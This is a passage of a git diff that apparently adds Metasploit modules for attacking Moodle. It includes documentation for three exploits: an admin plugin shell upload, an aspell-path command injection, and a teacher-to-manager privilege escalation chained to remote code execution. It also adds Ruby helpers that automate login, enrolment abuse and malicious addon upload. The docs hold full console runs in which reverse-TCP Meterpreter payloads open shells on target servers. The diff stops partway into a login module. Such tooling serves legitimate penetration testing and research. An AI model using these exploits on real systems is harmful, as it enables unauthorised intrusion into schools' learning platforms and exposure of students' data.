diff --git a/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md
new file mode 100644
index 0000000000..f85c45ea36
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/moodle_admin_shell_upload.md
@@ -0,0 +1,232 @@
+## Vulnerable Application
+
+This module will generate a plugin which can receive a malicious
+payload request and upload it to a server running Moodle
+provided valid admin credentials are used. Then the payload
+is sent for execution, and the plugin uninstalled.
+
+You must have an admin account to exploit this vulnerability.
+
+Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
+
+## Verification Steps
+
+1. Install moodle
+1. Start msfconsole
+1. Do: `use exploits/multi/http/moodle_admin_shell_upload`
+1. Do: `set username [username]`
+1. Do: `set password [password]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+### Username
+
+Username for an admin user. Default is `admin`
+
+### Password
+
+Password for an admin user
+
+## Scenarios
+
+### Moodle 3.8.0 on Ubuntu 20.04
+
+```
+resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_upload.rb)> set username admin
+username => admin
+resource (moodle_upload.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_upload.rb)> set targeturi /moodle-3.8.0/
+targeturi => /moodle-3.8.0/
+resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_upload.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.8 detected
+[*] Authenticating as user: admin
+[+] Authentication was successful with user: admin
+[*] Creating addon file
+[*] Creating plugin named: oganetpo with poisoned header: YLYF
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56312) at 2021-09-02 17:05:39 -0400
+[*] Uninstalling plugin
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
+
+### Moodle 3.6.3 on Ubuntu 20.04
+
+```
+resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_upload.rb)> set username admin
+username => admin
+resource (moodle_upload.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_upload.rb)> set targeturi /moodle-3.6.3/
+targeturi => /moodle-3.6.3/
+resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_upload.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.6.3 detected
+[*] Authenticating as user: admin
+[+] Authentication was successful with user: admin
+[*] Creating addon file
+[*] Creating plugin named: vnckinyr with poisoned header: BMDI
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56316) at 2021-09-02 17:09:41 -0400
+[*] Uninstalling plugin
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
+
+### Moodle 3.9.0 on Ubuntu 20.04
+
+```
+resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_upload.rb)> set username admin
+username => admin
+resource (moodle_upload.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_upload.rb)> set targeturi /moodle-3.9.0/
+targeturi => /moodle-3.9.0/
+resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_upload.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
+[*] Authenticating as user: admin
+[+] Authentication was successful with user: admin
+[*] Creating addon file
+[*] Creating plugin named: taztsyap with poisoned header: ARHW
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56318) at 2021-09-02 17:11:20 -0400
+[*] Uninstalling plugin
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
+
+### Moodle 3.10.0 on Ubuntu 20.04
+
+```
+resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_upload.rb)> set username admin
+username => admin
+resource (moodle_upload.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_upload.rb)> set targeturi /moodle-3.10.0/
+targeturi => /moodle-3.10.0/
+resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_upload.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
+[*] Authenticating as user: admin
+[+] Authentication was successful with user: admin
+[*] Creating addon file
+[*] Creating plugin named: yciymtns with poisoned header: YBIT
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56320) at 2021-09-02 17:16:52 -0400
+[*] Uninstalling plugin
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
+
+### Moodle 3.11.2 on Ubuntu 20.04
+
+```
+resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_upload.rb)> set username admin
+username => admin
+resource (moodle_upload.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_upload.rb)> set targeturi /moodle-3.11.2/
+targeturi => /moodle-3.11.2/
+resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_upload.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_upload.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
+[*] Authenticating as user: admin
+[+] Authentication was successful with user: admin
+[*] Creating addon file
+[*] Creating plugin named: fwjdzsuj with poisoned header: ZLCW
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56326) at 2021-09-02 17:27:06 -0400
+[*] Uninstalling plugin
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
diff --git a/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md b/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md
new file mode 100644
index 0000000000..11f1ae6e1a
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/moodle_spelling_path_rce.md
@@ -0,0 +1,118 @@
+## Vulnerable Application
+
+Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
+An administrator can update the aspell path to include a command injection. This is extremely
+similar to CVE-2013-3630, just using a different variable.
+
+This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. Based on the
+Talos advisory: `2021-04-21 - Vendor updated documentation to suggest best practices after installation`,
+it is unclear if Moodle will patch this. Therefore it is unclear what the upper bounds
+is on exploitation.
+
+### Install
+
+Moodle provides a step by step guide to install their software
+[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploits/multi/http/moodle_spelling_path_rce`
+1. Do: `set username [username]`
+1. Do: `set password [password]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+### Passowrd
+
+Password of an administrator.
+
+### Username
+
+Username of an administrator. Defaults to `admin`
+
+## Scenarios
+
+### Moodle 3.10.0 on Ubuntu 20.04
+
+```
+[*] Processing moodle_spellcheck.rb for ERB directives.
+resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spelling_path_rce
+[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
+resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_spellcheck.rb)> set username admin
+username => admin
+resource (moodle_spellcheck.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/
+targeturi => /moodle-3.10.0/
+resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_spellcheck.rb)> set proxies http:127.0.0.1:8080
+proxies => http:127.0.0.1:8080
+resource (moodle_spellcheck.rb)> set ReverseAllowProxy true
+ReverseAllowProxy => true
+resource (moodle_spellcheck.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_spellcheck.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
+[*] Authenticating as user: admin
+[*] Updating aspell path
+[*] Changing spell engine to PSpellShell
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56124) at 2021-08-29 10:03:37 -0400
+[*] Sleeping 5 seconds before cleanup
+[*] Authenticating as user: admin
+[*] Removing RCE from settings
+
+meterpreter > getuid
+Server username: www-data (33)
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+```
+
+### Moodle 3.11.2 on Ubuntu 20.04
+
+```
+resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_spellcheck.rb)> set username admin
+username => admin
+resource (moodle_spellcheck.rb)> set password Adminadmin1!
+password => Adminadmin1!
+resource (moodle_spellcheck.rb)> set targeturi /moodle-3.11.2/
+targeturi => /moodle-3.11.2/
+resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
+payload => php/meterpreter/reverse_tcp
+resource (moodle_spellcheck.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_spellcheck.rb)> exploit
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
+[*] Authenticating as user: admin
+[*] Updating aspell path
+[*] Changing spell engine to PSpellShell
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56130) at 2021-08-29 10:22:03 -0400
+[*] Sleeping 5 seconds before cleanup
+[*] Authenticating as user: admin
+[*] Removing RCE from settings
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
diff --git a/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md b/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md
new file mode 100644
index 0000000000..7453fd241e
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.md
@@ -0,0 +1,119 @@
+## Vulnerable Application
+
+Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions
+allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher
+to add themselves as a manager to their own class. They can then add any other users, and thus
+look to add someone with manager privileges on the system (not just the class). After
+adding a system manager, a 'loginas' feature is used to access their account. Next the system
+is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme
+is uploaded and creates an RCE.
+
+If all of that is a success, we revert permissions for managers to system default and
+remove our malicoius theme. Manual cleanup to remove students from the class is required.
+
+This module was tested against Moodle version 3.9
+
+### Install
+
+Moodle provides a step by step guide to install their software. However you'll want to use
+`3.9.0` isntead of `3.11.0`.
+[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
+
+## Verification Steps
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce`
+1. Do: `set username [username]`
+1. Do: `set password [password]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+
+### MAXUSERS
+
+The amount of users to add to the class in hopes of finding a manager. Defaults to `100`.
+
+### Passowrd
+
+Password of a teacher.
+
+### Username
+
+Username of a teacher.
+
+## Scenarios
+
+### Moodle 3.9.0 on Ubuntu 20.04
+
+```
+resource (moodle_privesc.rb)> use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
+[*] Using configured payload php/meterpreter/reverse_tcp
+resource (moodle_privesc.rb)> set rhosts 2.2.2.2
+rhosts => 2.2.2.2
+resource (moodle_privesc.rb)> set targeturi /moodle-3.9.0/
+targeturi => /moodle-3.9.0/
+resource (moodle_privesc.rb)> set username teacher
+username => teacher
+resource (moodle_privesc.rb)> set password Teacherteacher1!
+password => Teacherteacher1!
+resource (moodle_privesc.rb)> set lhost eth0
+lhost => eth0
+resource (moodle_privesc.rb)> set MAXUSERS 10
+MAXUSERS => 10
+resource (moodle_privesc.rb)> run
+[*] Started reverse TCP handler on 1.1.1.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
+[*] Authenticating as user: teacher
+[*] Retrieving user info
+[+] User ID: 4
+[+] Course ID: 2
+[+] Sessionkey: R1lSAKDT73
+[*] Retrieving course enrollment id
+[+] Enrol ID: 1
+[*] Attempting to enrolin in class as manager (priv esc)
+[+] Successfully enrolled
+[*] Attempting to find and add a manager to class
+[*] Attempting user: 2
+[+] Successfully enrolled
+[*] Attempting user: 3
+[+] Successfully enrolled
+[*] Attempting user: 4
+[+] Successfully enrolled
+[*] Attempting user: 5
+[+] Successfully enrolled
+[*] Attempting user: 6
+[-] Unsuccessful
+[*] Attempting user: 7
+[-] Unsuccessful
+[*] Attempting user: 8
+[-] Unsuccessful
+[*] Attempting user: 9
+[-] Unsuccessful
+[*] Retrieving course context id
+[+] Context ID: 28
+[+] Found manager user IDs: ["5", "4"]
+[*] Attempting loginas for user id: 5
+[*] Logged in as: manager manager
+[+] Looks like a potentially good manager account!
+[*] Attempting via new session key: gUocfkXDpe
+[*] Checking if permissions were set successfully
+[+] Manager roll full permissioned, attempting to upload shell
+[*] Creating plugin named: mbdzduot with poisoned header: PIYB
+[*] Uploading addon
+[+] Upload Successful. Integrating addon
+[*] Triggering payload
+[*] Sending stage (39282 bytes) to 2.2.2.2
+[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56418) at 2021-09-04 13:21:51 -0400
+[*] Uninstalling plugin
+[*] Resetting permissions
+
+meterpreter > sysinfo
+Computer : moodle
+OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
+Meterpreter : php/linux
+meterpreter > getuid
+Server username: www-data (33)
+```
diff --git a/lib/msf/core/exploit/remote/http/moodle.rb b/lib/msf/core/exploit/remote/http/moodle.rb
new file mode 100644
index 0000000000..627ee202df
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle.rb
@@ -0,0 +1,37 @@
+# -*- coding: binary -*-
+
+module Msf
+ class Exploit
+ class Remote
+ module HTTP
+ # This module provides a way of interacting with moodle installations
+ module Moodle
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Moodle::Base
+ include Msf::Exploit::Remote::HTTP::Moodle::Version
+ include Msf::Exploit::Remote::HTTP::Moodle::URIs
+ include Msf::Exploit::Remote::HTTP::Moodle::Helpers
+ include Msf::Exploit::Remote::HTTP::Moodle::Login
+ include Msf::Exploit::Remote::HTTP::Moodle::Course
+ include Msf::Exploit::Remote::HTTP::Moodle::Admin
+
+ def initialize(info = {})
+ super
+
+ register_options(
+ [
+ Msf::OptString.new('TARGETURI', [true, 'The base path to the moodle application', '/'])
+ ], Msf::Exploit::Remote::HTTP::Moodle
+ )
+
+ register_advanced_options(
+ [
+ Msf::OptBool.new('MOODLECHECK', [true, 'Check if the website is a valid Moodle install', true]),
+ ], Msf::Exploit::Remote::HTTP::Moodle
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/admin.rb b/lib/msf/core/exploit/remote/http/moodle/admin.rb
new file mode 100644
index 0000000000..c562cd1017
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/admin.rb
@@ -0,0 +1,151 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Admin
+ # Retrieves variables required for uploading an addon
+ #
+ # @return [String] session key
+ # @return [String] item id
+ # @return [String] author name
+ # @return [String] client id
+ def get_addon_variables
+ res = send_request_cgi!(
+ 'keep_cookies' => true,
+ 'uri' => moodle_admin_addon_install
+ )
+
+ sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
+ item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
+ author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
+ client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
+ return sesskey, item_id, author, client_id
+ end
+
+ # Uploads an addon to Moodle
+ #
+ # @param addon_name [String] Name of addon to be uploaded
+ # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
+ # @param addon_content [ZipArchive] Zip of the addon content
+ # @return [String,nil] file ID of the uploaded zip file, nil on failure
+ # @return [String,nil] Session key, nil on failure
+ def upload_addon(addon_name, moodle_version, addon_content)
+ sesskey, item_id, author, client_id = get_addon_variables
+ # creating multipart data for the upload addon file
+ pdata = Rex::MIME::Message.new
+ pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"")
+ pdata.add_part('', nil, nil, 'form-data; name="title"')
+ pdata.add_part(author, nil, nil, 'form-data; name="author"')
+ pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
+ pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"')
+ pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
+ if moodle_version < Rex::Version.new('3.9.0')
+ pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
+ else
+ pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
+ end
+ pdata.add_part('', nil, nil, 'form-data; name="p"')
+ pdata.add_part('', nil, nil, 'form-data; name="page"')
+ pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
+ pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"')
+ pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"')
+ pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
+ pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
+ pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
+ pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
+
+ res = send_request_cgi!({
+ 'method' => 'POST',
+ 'data' => pdata.to_s,
+ 'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
+ 'keep_cookies' => true,
+ 'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
+ 'vars_get' => {
+ 'action' => 'upload'
+ }
+ })
+
+ unless res.body =~ /draftfile.php/
+ return nil, nil
+ end
+
+ file_id = res.body.split('draft\/')[1].split('\/')[0]
+ return file_id, sesskey
+ end
+
+ # Uninstalls an addon from Moodle
+ #
+ # @param addon_name [String] Name of addon to be uploaded
+ # @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
+ # @param sesskey [String] session key
+ # @return [HttpResponse] HttpResponse object
+ def remove_plugin(addon_name, moodle_version, sesskey)
+ if moodle_version < Rex::Version.new('3.9.0')
+ send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
+ 'keep_cookies' => true,
+ 'vars_post' => {
+ 'cache' => '0',
+ 'confirmplugincheck' => '0',
+ 'abortinstallx' => '1',
+ 'confirmabortinstall' => '1',
+ 'sesskey' => sesskey
+ }
+ })
+ else
+ send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
+ 'keep_cookies' => true,
+ 'vars_post' => {
+ 'cache' => '0',
+ 'confirmrelease' => '1',
+ 'confirmplugincheck' => '0',
+ 'abortinstallx' => addon_name,
+ 'confirmabortinstall' => '1',
+ 'sesskey' => sesskey
+ }
+ })
+ end
+ end
+
+ # Integrates an addon to Moodle
+ #
+ # @param sesskey [String] session key
+ # @param file_id [String] ID of the file to integrate
+ # @param plugin_name [String] name of the plugin file
+ # @param type [String] The type of addon being added. Defaults to 'theme'
+ # @return [HttpResponse,nil] HttpResponse object, nil on failure
+ def plugin_integration(sesskey, file_id, plugin_name, type = 'theme')
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
+ 'keep_cookies' => true,
+ 'vars_post' => {
+ 'sesskey' => sesskey,
+ '_qf__tool_installaddon_installfromzip_form' => '1',
+ 'mform_showmore_id_general' => '0',
+ 'mform_isexpanded_id_general' => '1',
+ 'zipfile' => file_id,
+ 'plugintype' => type,
+ 'rootdir' => '',
+ 'submitbutton' => 'Install+plugin+from+the+ZIP+file'
+ }
+ )
+
+ return nil unless res.body =~ /installzipstorage/
+
+ storage = res.body.split('installzipstorage=')[1].split('&')[0]
+
+ send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
+ 'keep_cookies' => true,
+ 'vars_post' => {
+ 'installzipcomponent' => "#{type}_#{plugin_name}",
+ 'installzipstorage' => storage,
+ 'installzipconfirm' => '1',
+ 'sesskey' => sesskey
+ }
+ )
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/base.rb b/lib/msf/core/exploit/remote/http/moodle/base.rb
new file mode 100644
index 0000000000..9ea55acbb5
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/base.rb
@@ -0,0 +1,29 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Base
+ # Checks if the site is online and running moodle
+ #
+ # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running moodle, nil otherwise
+ def moodle_and_online?
+ unless datastore['MOODLECHECK']
+ vprint_status 'Skipping Moodle check...'
+ return true
+ end
+
+ moodle_detect_regexes = [
+ /"moodle":{"name":"moodle",/i,
+ ]
+
+ res = send_request_cgi!({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path)
+ }, 20, 10) # a cache inconsistency may result in 7 redirects
+
+ return res if res && res.code == 200 && res.body && moodle_detect_regexes.any? { |r| res.body =~ r }
+
+ return nil
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+ print_error("Error connecting to #{target_uri}: #{e}")
+ return nil
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/course.rb b/lib/msf/core/exploit/remote/http/moodle/course.rb
new file mode 100644
index 0000000000..46271d20f8
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/course.rb
@@ -0,0 +1,61 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Course
+ # performs a moodle course enrollment
+ #
+ # @param user_id [String] ID of the user to enrol
+ # @param course_id [String] ID of the course to enrol in
+ # @param enrol_id [String] ID of the enrolment
+ # @param sess_key [String] session key
+ # @param role [String] role to enrol as. 1 is manager, 5 is student
+ # @return [Boolean] if the enrolment was successful or not
+ def enrol(user_id, course_id, enrol_id, sess_key, role = '1')
+ res = send_request_cgi({
+ 'uri' => moodle_enrol_ajax,
+ 'vars_get' => moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role),
+ 'keep_cookies' => true
+ })
+ return false unless res
+ if res.body.include?('success')
+ return true
+ end
+
+ return false
+ end
+
+ # obtains the enrolid from an enrolled course
+ #
+ # @param course_id [String] ID of the course
+ # @return [String,nil] the enrolid for the course, nil otherwise
+ def get_course_enrol_id(course_id)
+ res = send_request_cgi({
+ 'uri' => moodle_user_home,
+ 'vars_get' => {
+ 'id' => course_id
+ },
+ 'keep_cookies' => true
+ })
+ return nil unless res
+
+ res.body =~ /name="enrolid" value="(.*?)"/
+ Regexp.last_match(1)
+ end
+
+ # obtains the contextid from an enrolled course
+ #
+ # @param course_id [String] ID of the course
+ # @return [String,nil] the contextid for the course, nil otherwise
+ def get_course_context_id(course_id)
+ res = send_request_cgi({
+ 'uri' => moodle_user_home,
+ 'vars_get' => {
+ 'id' => course_id
+ },
+ 'keep_cookies' => true
+ })
+ return nil unless res
+
+ res.body =~ /contextid=(\d*)"/
+ Regexp.last_match(1)
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/helpers.rb b/lib/msf/core/exploit/remote/http/moodle/helpers.rb
new file mode 100644
index 0000000000..c8163808b3
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/helpers.rb
@@ -0,0 +1,63 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Helpers
+ # Helper methods are private and should not be called by modules
+
+ private
+
+ # Returns the POST data for a Moodle login request
+ #
+ # @param user [String] Username
+ # @param pass [String] Password
+ # @param token [String] login token
+ # @return [Hash] The post data for vars_post Parameter
+ def moodle_helper_login_post_data(user, pass, token)
+ post_data = {
+ 'username' => user.to_s,
+ 'password' => pass.to_s,
+ 'logintoken' => token.to_s,
+ 'anchor' => ''
+ }
+ post_data
+ end
+
+ # Returns the GET data for a Moodle loginas request
+ #
+ # @param course_id [String] ID of the course the user is registered in
+ # @param user_id [String] User ID of the user to impersonate
+ # @param session_key [String] session key for the current session
+ # @return [Hash] The get data for vars_get Parameter
+ def moodle_helper_loginas_get_data(course_id, user_id, session_key)
+ get_data = {
+ 'id' => course_id,
+ 'user' => user_id,
+ 'sesskey' => session_key
+ }
+ get_data
+ end
+
+ # Returns the GET data for a Moodle Course Enrollment request
+ #
+ # @param user_id [String] ID of the user to enrol
+ # @param course_id [String] ID of the course to enrol in
+ # @param enrol_id [String] ID of the enrolment
+ # @param sess_key [String] session key
+ # @param role [String] Optional value of the role. 1 is default and manager, 5 is student
+ # @return [Hash] The get data for vars_get Parameter
+ def moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role = '1')
+ get_data = {
+ 'mform_showmore_main' => '0',
+ 'id' => course_id,
+ 'action' => 'enrol',
+ 'enrolid' => enrol_id,
+ 'sesskey' => sess_key,
+ '_qf__enrol_manual_enrol_users_form' => '1',
+ 'mform_showmore_id_main' => '0',
+ 'userlist[]' => user_id,
+ 'roletoassign' => role,
+ 'startdate' => '4',
+ 'duration' => ''
+ }
+ get_data
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/moodle/login.rb b/lib/msf/core/exploit/remote/http/moodle/login.rb
new file mode 100644
index 0000000000..cf44add997
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/moodle/login.rb
@@ -0,0 +1,63 @@
+# -*- coding: binary -*-
+
+module Msf::Exploit::Remote::HTTP::Moodle::Login
